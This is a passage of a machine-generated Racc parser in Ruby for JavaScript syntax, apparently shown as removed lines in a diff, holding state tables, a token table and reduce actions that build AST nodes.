:_reduce_107, - 3, 140, :_reduce_108, - 3, 140, :_reduce_109, - 1, 141, :_reduce_none, - 3, 141, :_reduce_111, - 3, 141, :_reduce_112, - 1, 142, :_reduce_none, - 3, 142, :_reduce_114, - 3, 142, :_reduce_115, - 1, 143, :_reduce_none, - 3, 143, :_reduce_117, - 3, 143, :_reduce_118, - 3, 143, :_reduce_119, - 1, 144, :_reduce_none, - 3, 144, :_reduce_121, - 3, 144, :_reduce_122, - 3, 144, :_reduce_123, - 1, 145, :_reduce_none, - 3, 145, :_reduce_125, - 3, 145, :_reduce_126, - 3, 145, :_reduce_127, - 3, 145, :_reduce_128, - 3, 145, :_reduce_129, - 3, 145, :_reduce_130, - 1, 146, :_reduce_none, - 3, 146, :_reduce_132, - 3, 146, :_reduce_133, - 3, 146, :_reduce_134, - 3, 146, :_reduce_135, - 3, 146, :_reduce_136, - 1, 147, :_reduce_none, - 3, 147, :_reduce_138, - 3, 147, :_reduce_139, - 3, 147, :_reduce_140, - 3, 147, :_reduce_141, - 3, 147, :_reduce_142, - 3, 147, :_reduce_143, - 1, 148, :_reduce_none, - 3, 148, :_reduce_145, - 3, 148, :_reduce_146, - 3, 148, :_reduce_147, - 3, 148, :_reduce_148, - 1, 149, :_reduce_none, - 3, 149, :_reduce_150, - 3, 149, :_reduce_151, - 3, 149, :_reduce_152, - 3, 149, :_reduce_153, - 1, 150, :_reduce_none, - 3, 150, :_reduce_155, - 3, 150, :_reduce_156, - 3, 150, :_reduce_157, - 3, 150, :_reduce_158, - 1, 151, :_reduce_none, - 3, 151, :_reduce_160, - 1, 152, :_reduce_none, - 3, 152, :_reduce_162, - 1, 153, :_reduce_none, - 3, 153, :_reduce_164, - 1, 154, :_reduce_none, - 3, 154, :_reduce_166, - 1, 155, :_reduce_none, - 3, 155, :_reduce_168, - 1, 156, :_reduce_none, - 3, 156, :_reduce_170, - 1, 157, :_reduce_none, - 3, 157, :_reduce_172, - 1, 158, :_reduce_none, - 3, 158, :_reduce_174, - 1, 159, :_reduce_none, - 3, 159, :_reduce_176, - 1, 160, :_reduce_none, - 3, 160, :_reduce_178, - 1, 161, :_reduce_none, - 3, 161, :_reduce_180, - 1, 162, :_reduce_none, - 3, 162, :_reduce_182, - 1, 163, :_reduce_none, - 3, 163, :_reduce_184, - 1, 164, :_reduce_none, - 3, 164, :_reduce_186, - 1, 165, :_reduce_none, - 3, 165, :_reduce_188, - 1, 166, :_reduce_none, - 5, 166, :_reduce_190, - 1, 167, :_reduce_none, - 5, 167, :_reduce_192, - 1, 169, :_reduce_none, - 5, 169, :_reduce_194, - 1, 112, :_reduce_none, - 3, 112, :_reduce_196, - 1, 168, :_reduce_none, - 3, 168, :_reduce_198, - 1, 171, :_reduce_none, - 3, 171, :_reduce_200, - 1, 170, :_reduce_201, - 1, 170, :_reduce_202, - 1, 170, :_reduce_203, - 1, 170, :_reduce_204, - 1, 170, :_reduce_205, - 1, 170, :_reduce_206, - 1, 170, :_reduce_207, - 1, 170, :_reduce_208, - 1, 170, :_reduce_209, - 1, 170, :_reduce_210, - 1, 170, :_reduce_211, - 1, 170, :_reduce_212, - 1, 119, :_reduce_none, - 3, 119, :_reduce_214, - 1, 172, :_reduce_none, - 3, 172, :_reduce_216, - 1, 173, :_reduce_none, - 3, 173, :_reduce_218, - 3, 94, :_reduce_219, - 3, 95, :_reduce_220, - 3, 95, :_reduce_221, - 1, 174, :_reduce_222, - 3, 174, :_reduce_223, - 1, 176, :_reduce_224, - 3, 176, :_reduce_225, - 1, 175, :_reduce_226, - 2, 175, :_reduce_227, - 1, 177, :_reduce_228, - 2, 177, :_reduce_229, - 3, 96, :_reduce_230, - 3, 96, :_reduce_231, - 1, 180, :_reduce_232, - 3, 180, :_reduce_233, - 1, 181, :_reduce_234, - 2, 181, :_reduce_235, - 2, 178, :_reduce_236, - 2, 179, :_reduce_237, - 1, 97, :_reduce_238, - 2, 98, :_reduce_239, - 2, 98, :_reduce_240, - 5, 99, :_reduce_241, - 7, 99, :_reduce_242, - 7, 100, :_reduce_243, - 7, 100, :_reduce_244, - 5, 100, :_reduce_245, - 9, 100, :_reduce_246, - 10, 100, :_reduce_247, - 7, 100, :_reduce_248, - 8, 100, :_reduce_249, - 9, 100, :_reduce_250, - 0, 183, :_reduce_251, - 1, 183, :_reduce_none, - 0, 182, :_reduce_253, - 1, 182, :_reduce_none, - 2, 101, :_reduce_255, - 2, 101, :_reduce_256, - 3, 101, :_reduce_257, - 3, 101, :_reduce_258, - 2, 102, :_reduce_259, - 2, 102, :_reduce_260, - 3, 102, :_reduce_261, - 3, 102, :_reduce_262, - 2, 103, :_reduce_263, - 2, 103, :_reduce_264, - 3, 103, :_reduce_265, - 3, 103, :_reduce_266, - 5, 104, :_reduce_267, - 5, 105, :_reduce_268, - 3, 184, :_reduce_269, - 5, 184, :_reduce_270, - 0, 185, :_reduce_271, - 1, 185, :_reduce_none, - 1, 187, :_reduce_273, - 2, 187, :_reduce_274, - 4, 188, :_reduce_275, - 3, 186, :_reduce_276, - 3, 106, :_reduce_277, - 3, 107, :_reduce_278, - 3, 107, :_reduce_279, - 4, 108, :_reduce_280, - 7, 108, :_reduce_281, - 9, 108, :_reduce_282, - 2, 109, :_reduce_283, - 2, 109, :_reduce_284, - 7, 92, :_reduce_285, - 8, 92, :_reduce_286, - 6, 124, :_reduce_287, - 7, 124, :_reduce_288, - 7, 124, :_reduce_289, - 8, 124, :_reduce_290, - 1, 114, :_reduce_291, - 3, 114, :_reduce_292, - 1, 113, :_reduce_293 ] - -racc_reduce_n = 294 - -racc_shift_n = 541 - -racc_token_table = { - false => 0, - :error => 1, - :NULL => 2, - :TRUE => 3, - :FALSE => 4, - :BREAK => 5, - :CASE => 6, - :CATCH => 7, - :CONST => 8, - :CONTINUE => 9, - :DEBUGGER => 10, - :DEFAULT => 11, - :DELETE => 12, - :DO => 13, - :ELSE => 14, - :ENUM => 15, - :FINALLY => 16, - :FOR => 17, - :FUNCTION => 18, - :IF => 19, - :IN => 20, - :INSTANCEOF => 21, - :NEW => 22, - :RETURN => 23, - :SWITCH => 24, - :THIS => 25, - :THROW => 26, - :TRY => 27, - :TYPEOF => 28, - :VAR => 29, - :VOID => 30, - :WHILE => 31, - :WITH => 32, - :EQEQ => 33, - :NE => 34, - :STREQ => 35, - :STRNEQ => 36, - :LE => 37, - :GE => 38, - :OR => 39, - :AND => 40, - :PLUSPLUS => 41, - :MINUSMINUS => 42, - :LSHIFT => 43, - :RSHIFT => 44, - :URSHIFT => 45, - :PLUSEQUAL => 46, - :MINUSEQUAL => 47, - :MULTEQUAL => 48, - :DIVEQUAL => 49, - :LSHIFTEQUAL => 50, - :RSHIFTEQUAL => 51, - :URSHIFTEQUAL => 52, - :ANDEQUAL => 53, - :MODEQUAL => 54, - :XOREQUAL => 55, - :OREQUAL => 56, - :REGEXP => 57, - :NUMBER => 58, - :STRING => 59, - :IDENT => 60, - :AUTOPLUSPLUS => 61, - :AUTOMINUSMINUS => 62, - :IF_WITHOUT_ELSE => 63, - ":" => 64, - "(" => 65, - ")" => 66, - "{" => 67, - "}" => 68, - "," => 69, - "[" => 70, - "]" => 71, - "." => 72, - "+" => 73, - "-" => 74, - "~" => 75, - "!" => 76, - "*" => 77, - "/" => 78, - "%" => 79, - "<" => 80, - ">" => 81, - "&" => 82, - "^" => 83, - "|" => 84, - "?" => 85, - "=" => 86, - ";" => 87 } - -racc_nt_base = 88 - -racc_use_result_var = true - -Racc_arg = [ - racc_action_table, - racc_action_check, - racc_action_default, - racc_action_pointer, - racc_goto_table, - racc_goto_check, - racc_goto_default, - racc_goto_pointer, - racc_nt_base, - racc_reduce_table, - racc_token_table, - racc_shift_n, - racc_reduce_n, - racc_use_result_var ] - -Racc_token_to_s_table = [ - "$end", - "error", - "NULL", - "TRUE", - "FALSE", - "BREAK", - "CASE", - "CATCH", - "CONST", - "CONTINUE", - "DEBUGGER", - "DEFAULT", - "DELETE", - "DO", - "ELSE", - "ENUM", - "FINALLY", - "FOR", - "FUNCTION", - "IF", - "IN", - "INSTANCEOF", - "NEW", - "RETURN", - "SWITCH", - "THIS", - "THROW", - "TRY", - "TYPEOF", - "VAR", - "VOID", - "WHILE", - "WITH", - "EQEQ", - "NE", - "STREQ", - "STRNEQ", - "LE", - "GE", - "OR", - "AND", - "PLUSPLUS", - "MINUSMINUS", - "LSHIFT", - "RSHIFT", - "URSHIFT", - "PLUSEQUAL", - "MINUSEQUAL", - "MULTEQUAL", - "DIVEQUAL", - "LSHIFTEQUAL", - "RSHIFTEQUAL", - "URSHIFTEQUAL", - "ANDEQUAL", - "MODEQUAL", - "XOREQUAL", - "OREQUAL", - "REGEXP", - "NUMBER", - "STRING", - "IDENT", - "AUTOPLUSPLUS", - "AUTOMINUSMINUS", - "IF_WITHOUT_ELSE", - "\":\"", - "\"(\"", - "\")\"", - "\"{\"", - "\"}\"", - "\",\"", - "\"[\"", - "\"]\"", - "\".\"", - "\"+\"", - "\"-\"", - "\"~\"", - "\"!\"", - "\"*\"", - "\"/\"", - "\"%\"", - "\"<\"", - "\">\"", - "\"&\"", - "\"^\"", - "\"|\"", - "\"?\"", - "\"=\"", - "\";\"", - "$start", - "SourceElements", - "SourceElementList", - "SourceElement", - "FunctionDeclaration", - "Statement", - "Block", - "VariableStatement", - "ConstStatement", - "EmptyStatement", - "ExprStatement", - "IfStatement", - "IterationStatement", - "ContinueStatement", - "BreakStatement", - "ReturnStatement", - "WithStatement", - "SwitchStatement", - "LabelledStatement", - "ThrowStatement", - "TryStatement", - "DebuggerStatement", - "Literal", - "Property", - "AssignmentExpr", - "FunctionBody", - "FormalParameterList", - "PropertyList", - "PrimaryExpr", - "PrimaryExprNoBrace", - "ArrayLiteral", - "Expr", - "ElisionOpt", - "ElementList", - "Elision", - "MemberExpr", - "FunctionExpr", - "Arguments", - "MemberExprNoBF", - "NewExpr", - "NewExprNoBF", - "CallExpr", - "CallExprNoBF", - "ArgumentList", - "LeftHandSideExpr", - "LeftHandSideExprNoBF", - "PostfixExpr", - "PostfixExprNoBF", - "UnaryExprCommon", - "UnaryExpr", - "UnaryExprNoBF", - "MultiplicativeExpr", - "MultiplicativeExprNoBF", - "AdditiveExpr", - "AdditiveExprNoBF", - "ShiftExpr", - "ShiftExprNoBF", - "RelationalExpr", - "RelationalExprNoIn", - "RelationalExprNoBF", - "EqualityExpr", - "EqualityExprNoIn", - "EqualityExprNoBF", - "BitwiseANDExpr", - "BitwiseANDExprNoIn", - "BitwiseANDExprNoBF", - "BitwiseXORExpr", - "BitwiseXORExprNoIn", - "BitwiseXORExprNoBF", - "BitwiseORExpr", - "BitwiseORExprNoIn", - "BitwiseORExprNoBF", - "LogicalANDExpr", - "LogicalANDExprNoIn", - "LogicalANDExprNoBF", - "LogicalORExpr", - "LogicalORExprNoIn", - "LogicalORExprNoBF", - "ConditionalExpr", - "ConditionalExprNoIn", - "AssignmentExprNoIn", - "ConditionalExprNoBF", - "AssignmentOperator", - "AssignmentExprNoBF", - "ExprNoIn", - "ExprNoBF", - "VariableDeclarationList", - "VariableDeclaration", - "VariableDeclarationListNoIn", - "VariableDeclarationNoIn", - "Initializer", - "InitializerNoIn", - "ConstDeclarationList", - "ConstDeclaration", - "ExprNoInOpt", - "ExprOpt", - "CaseBlock", - "CaseClausesOpt", - "DefaultClause", - "CaseClauses", - "CaseClause" ] - -Racc_debug_parser = true - -##### State transition tables end ##### - -# reduce 0 omitted - -module_eval(<<'.,.,', 'parser.y', 42) - def _reduce_1(val, _values, result) - result = SourceElementsNode.new([]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 43) - def _reduce_2(val, _values, result) - result = SourceElementsNode.new([val].flatten) - result - end -.,., - -# reduce 3 omitted - -module_eval(<<'.,.,', 'parser.y', 47) - def _reduce_4(val, _values, result) - result = val.flatten - result - end -.,., - -# reduce 5 omitted - -# reduce 6 omitted - -# reduce 7 omitted - -# reduce 8 omitted - -# reduce 9 omitted - -# reduce 10 omitted - -# reduce 11 omitted - -# reduce 12 omitted - -# reduce 13 omitted - -# reduce 14 omitted - -# reduce 15 omitted - -# reduce 16 omitted - -# reduce 17 omitted - -# reduce 18 omitted - -# reduce 19 omitted - -# reduce 20 omitted - -# reduce 21 omitted - -# reduce 22 omitted - -module_eval(<<'.,.,', 'parser.y', 75) - def _reduce_23(val, _values, result) - result = NullNode.new(val.first) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 76) - def _reduce_24(val, _values, result) - result = TrueNode.new(val.first) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 77) - def _reduce_25(val, _values, result) - result = FalseNode.new(val.first) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 78) - def _reduce_26(val, _values, result) - result = NumberNode.new(val.first) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 79) - def _reduce_27(val, _values, result) - result = StringNode.new(val.first) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 80) - def _reduce_28(val, _values, result) - result = RegexpNode.new(val.first) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 85) - def _reduce_29(val, _values, result) - result = PropertyNode.new(val[0], val[2]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 87) - def _reduce_30(val, _values, result) - result = PropertyNode.new(val.first, val.last) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 88) - def _reduce_31(val, _values, result) - result = PropertyNode.new(val.first, val.last) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 90) - def _reduce_32(val, _values, result) - klass = property_class_for(val.first) - yyabort unless klass - result = klass.new(val[1], FunctionExprNode.new(nil, val[5])) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 95) - def _reduce_33(val, _values, result) - klass = property_class_for(val.first) - yyabort unless klass - result = klass.new(val[1], FunctionExprNode.new(nil, val[6], val[3])) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 102) - def _reduce_34(val, _values, result) - result = val - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 103) - def _reduce_35(val, _values, result) - result = [val.first, val.last].flatten - result - end -.,., - -# reduce 36 omitted - -module_eval(<<'.,.,', 'parser.y', 108) - def _reduce_37(val, _values, result) - result = ObjectLiteralNode.new([]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 109) - def _reduce_38(val, _values, result) - result = ObjectLiteralNode.new(val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 110) - def _reduce_39(val, _values, result) - result = ObjectLiteralNode.new(val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 114) - def _reduce_40(val, _values, result) - result = ThisNode.new(val.first) - result - end -.,., - -# reduce 41 omitted - -# reduce 42 omitted - -module_eval(<<'.,.,', 'parser.y', 117) - def _reduce_43(val, _values, result) - result = ResolveNode.new(val.first) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 118) - def _reduce_44(val, _values, result) - result = ParentheticalNode.new(val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 122) - def _reduce_45(val, _values, result) - result = ArrayNode.new([] + [nil] * val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 123) - def _reduce_46(val, _values, result) - result = ArrayNode.new(val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 125) - def _reduce_47(val, _values, result) - result = ArrayNode.new(val[1] + [nil] * val[3]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 131) - def _reduce_48(val, _values, result) - result = [nil] * val[0] + [ElementNode.new(val[1])] - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 134) - def _reduce_49(val, _values, result) - result = [val[0], [nil] * val[2], ElementNode.new(val[3])].flatten - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 139) - def _reduce_50(val, _values, result) - result = 0 - result - end -.,., - -# reduce 51 omitted - -module_eval(<<'.,.,', 'parser.y', 144) - def _reduce_52(val, _values, result) - result = 1 - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 145) - def _reduce_53(val, _values, result) - result = val.first + 1 - result - end -.,., - -# reduce 54 omitted - -# reduce 55 omitted - -module_eval(<<'.,.,', 'parser.y', 151) - def _reduce_56(val, _values, result) - result = BracketAccessorNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 152) - def _reduce_57(val, _values, result) - result = DotAccessorNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 153) - def _reduce_58(val, _values, result) - result = NewExprNode.new(val[1], val[2]) - result - end -.,., - -# reduce 59 omitted - -module_eval(<<'.,.,', 'parser.y', 159) - def _reduce_60(val, _values, result) - result = BracketAccessorNode.new(val[0], val[2]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 161) - def _reduce_61(val, _values, result) - result = DotAccessorNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 162) - def _reduce_62(val, _values, result) - result = NewExprNode.new(val[1], val[2]) - result - end -.,., - -# reduce 63 omitted - -module_eval(<<'.,.,', 'parser.y', 167) - def _reduce_64(val, _values, result) - result = NewExprNode.new(val[1], ArgumentsNode.new([])) - result - end -.,., - -# reduce 65 omitted - -module_eval(<<'.,.,', 'parser.y', 172) - def _reduce_66(val, _values, result) - result = NewExprNode.new(val[1], ArgumentsNode.new([])) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 176) - def _reduce_67(val, _values, result) - result = FunctionCallNode.new(val[0], val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 177) - def _reduce_68(val, _values, result) - result = FunctionCallNode.new(val[0], val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 178) - def _reduce_69(val, _values, result) - result = BracketAccessorNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 179) - def _reduce_70(val, _values, result) - result = DotAccessorNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 183) - def _reduce_71(val, _values, result) - result = FunctionCallNode.new(val[0], val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 184) - def _reduce_72(val, _values, result) - result = FunctionCallNode.new(val[0], val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 185) - def _reduce_73(val, _values, result) - result = BracketAccessorNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 186) - def _reduce_74(val, _values, result) - result = DotAccessorNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 190) - def _reduce_75(val, _values, result) - result = ArgumentsNode.new([]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 191) - def _reduce_76(val, _values, result) - result = ArgumentsNode.new(val[1]); - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 195) - def _reduce_77(val, _values, result) - result = val - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 196) - def _reduce_78(val, _values, result) - result = [val[0], val[2]].flatten - result - end -.,., - -# reduce 79 omitted - -# reduce 80 omitted - -# reduce 81 omitted - -# reduce 82 omitted - -# reduce 83 omitted - -module_eval(<<'.,.,', 'parser.y', 211) - def _reduce_84(val, _values, result) - result = PostfixNode.new(val[0], '++') - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 212) - def _reduce_85(val, _values, result) - result = PostfixNode.new(val[0], '--') - result - end -.,., - -# reduce 86 omitted - -module_eval(<<'.,.,', 'parser.y', 217) - def _reduce_87(val, _values, result) - result = PostfixNode.new(val[0], '++') - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 218) - def _reduce_88(val, _values, result) - result = PostfixNode.new(val[0], '--') - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 222) - def _reduce_89(val, _values, result) - result = DeleteNode.new(val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 223) - def _reduce_90(val, _values, result) - result = VoidNode.new(val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 224) - def _reduce_91(val, _values, result) - result = TypeOfNode.new(val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 225) - def _reduce_92(val, _values, result) - result = PrefixNode.new(val[1], '++') - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 228) - def _reduce_93(val, _values, result) - result = PrefixNode.new(val[1], '--') - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 231) - def _reduce_94(val, _values, result) - result = UnaryPlusNode.new(val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 232) - def _reduce_95(val, _values, result) - result = UnaryMinusNode.new(val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 233) - def _reduce_96(val, _values, result) - result = BitwiseNotNode.new(val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 234) - def _reduce_97(val, _values, result) - result = LogicalNotNode.new(val[1]) - result - end -.,., - -# reduce 98 omitted - -# reduce 99 omitted - -# reduce 100 omitted - -# reduce 101 omitted - -# reduce 102 omitted - -module_eval(<<'.,.,', 'parser.y', 249) - def _reduce_103(val, _values, result) - result = MultiplyNode.new(val[0],val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 250) - def _reduce_104(val, _values, result) - result = DivideNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 251) - def _reduce_105(val, _values, result) - result = ModulusNode.new(val[0], val[2]) - result - end -.,., - -# reduce 106 omitted - -module_eval(<<'.,.,', 'parser.y', 256) - def _reduce_107(val, _values, result) - result = MultiplyNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 257) - def _reduce_108(val, _values, result) - result = DivideNode.new(val[0],val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 258) - def _reduce_109(val, _values, result) - result = ModulusNode.new(val[0], val[2]) - result - end -.,., - -# reduce 110 omitted - -module_eval(<<'.,.,', 'parser.y', 263) - def _reduce_111(val, _values, result) - result = AddNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 264) - def _reduce_112(val, _values, result) - result = SubtractNode.new(val[0], val[2]) - result - end -.,., - -# reduce 113 omitted - -module_eval(<<'.,.,', 'parser.y', 269) - def _reduce_114(val, _values, result) - result = AddNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 270) - def _reduce_115(val, _values, result) - result = SubtractNode.new(val[0], val[2]) - result - end -.,., - -# reduce 116 omitted - -module_eval(<<'.,.,', 'parser.y', 275) - def _reduce_117(val, _values, result) - result = LeftShiftNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 276) - def _reduce_118(val, _values, result) - result = RightShiftNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 277) - def _reduce_119(val, _values, result) - result = UnsignedRightShiftNode.new(val[0], val[2]) - result - end -.,., - -# reduce 120 omitted - -module_eval(<<'.,.,', 'parser.y', 282) - def _reduce_121(val, _values, result) - result = LeftShiftNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 283) - def _reduce_122(val, _values, result) - result = RightShiftNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 284) - def _reduce_123(val, _values, result) - result = UnsignedRightShiftNode.new(val[0], val[2]) - result - end -.,., - -# reduce 124 omitted - -module_eval(<<'.,.,', 'parser.y', 289) - def _reduce_125(val, _values, result) - result = LessNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 290) - def _reduce_126(val, _values, result) - result = GreaterNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 291) - def _reduce_127(val, _values, result) - result = LessOrEqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 292) - def _reduce_128(val, _values, result) - result = GreaterOrEqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 293) - def _reduce_129(val, _values, result) - result = InstanceOfNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 294) - def _reduce_130(val, _values, result) - result = InNode.new(val[0], val[2]) - result - end -.,., - -# reduce 131 omitted - -module_eval(<<'.,.,', 'parser.y', 299) - def _reduce_132(val, _values, result) - result = LessNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 300) - def _reduce_133(val, _values, result) - result = GreaterNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 301) - def _reduce_134(val, _values, result) - result = LessOrEqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 302) - def _reduce_135(val, _values, result) - result = GreaterOrEqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 304) - def _reduce_136(val, _values, result) - result = InstanceOfNode.new(val[0], val[2]) - result - end -.,., - -# reduce 137 omitted - -module_eval(<<'.,.,', 'parser.y', 309) - def _reduce_138(val, _values, result) - result = LessNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 310) - def _reduce_139(val, _values, result) - result = GreaterNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 311) - def _reduce_140(val, _values, result) - result = LessOrEqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 312) - def _reduce_141(val, _values, result) - result = GreaterOrEqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 314) - def _reduce_142(val, _values, result) - result = InstanceOfNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 315) - def _reduce_143(val, _values, result) - result = InNode.new(val[0], val[2]) - result - end -.,., - -# reduce 144 omitted - -module_eval(<<'.,.,', 'parser.y', 320) - def _reduce_145(val, _values, result) - result = EqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 321) - def _reduce_146(val, _values, result) - result = NotEqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 322) - def _reduce_147(val, _values, result) - result = StrictEqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 323) - def _reduce_148(val, _values, result) - result = NotStrictEqualNode.new(val[0], val[2]) - result - end -.,., - -# reduce 149 omitted - -module_eval(<<'.,.,', 'parser.y', 329) - def _reduce_150(val, _values, result) - result = EqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 331) - def _reduce_151(val, _values, result) - result = NotEqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 333) - def _reduce_152(val, _values, result) - result = StrictEqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 335) - def _reduce_153(val, _values, result) - result = NotStrictEqualNode.new(val[0], val[2]) - result - end -.,., - -# reduce 154 omitted - -module_eval(<<'.,.,', 'parser.y', 341) - def _reduce_155(val, _values, result) - result = EqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 342) - def _reduce_156(val, _values, result) - result = NotEqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 344) - def _reduce_157(val, _values, result) - result = StrictEqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 346) - def _reduce_158(val, _values, result) - result = NotStrictEqualNode.new(val[0], val[2]) - result - end -.,., - -# reduce 159 omitted - -module_eval(<<'.,.,', 'parser.y', 351) - def _reduce_160(val, _values, result) - result = BitAndNode.new(val[0], val[2]) - result - end -.,., - -# reduce 161 omitted - -module_eval(<<'.,.,', 'parser.y', 357) - def _reduce_162(val, _values, result) - result = BitAndNode.new(val[0], val[2]) - result - end -.,., - -# reduce 163 omitted - -module_eval(<<'.,.,', 'parser.y', 362) - def _reduce_164(val, _values, result) - result = BitAndNode.new(val[0], val[2]) - result - end -.,., - -# reduce 165 omitted - -module_eval(<<'.,.,', 'parser.y', 367) - def _reduce_166(val, _values, result) - result = BitXOrNode.new(val[0], val[2]) - result - end -.,., - -# reduce 167 omitted - -module_eval(<<'.,.,', 'parser.y', 373) - def _reduce_168(val, _values, result) - result = BitXOrNode.new(val[0], val[2]) - result - end -.,., - -# reduce 169 omitted - -module_eval(<<'.,.,', 'parser.y', 379) - def _reduce_170(val, _values, result) - result = BitXOrNode.new(val[0], val[2]) - result - end -.,., - -# reduce 171 omitted - -module_eval(<<'.,.,', 'parser.y', 384) - def _reduce_172(val, _values, result) - result = BitOrNode.new(val[0], val[2]) - result - end -.,., - -# reduce 173 omitted - -module_eval(<<'.,.,', 'parser.y', 390) - def _reduce_174(val, _values, result) - result = BitOrNode.new(val[0], val[2]) - result - end -.,., - -# reduce 175 omitted - -module_eval(<<'.,.,', 'parser.y', 396) - def _reduce_176(val, _values, result) - result = BitOrNode.new(val[0], val[2]) - result - end -.,., - -# reduce 177 omitted - -module_eval(<<'.,.,', 'parser.y', 401) - def _reduce_178(val, _values, result) - result = LogicalAndNode.new(val[0], val[2]) - result - end -.,., - -# reduce 179 omitted - -module_eval(<<'.,.,', 'parser.y', 407) - def _reduce_180(val, _values, result) - result = LogicalAndNode.new(val[0], val[2]) - result - end -.,., - -# reduce 181 omitted - -module_eval(<<'.,.,', 'parser.y', 413) - def _reduce_182(val, _values, result) - result = LogicalAndNode.new(val[0], val[2]) - result - end -.,., - -# reduce 183 omitted - -module_eval(<<'.,.,', 'parser.y', 418) - def _reduce_184(val, _values, result) - result = 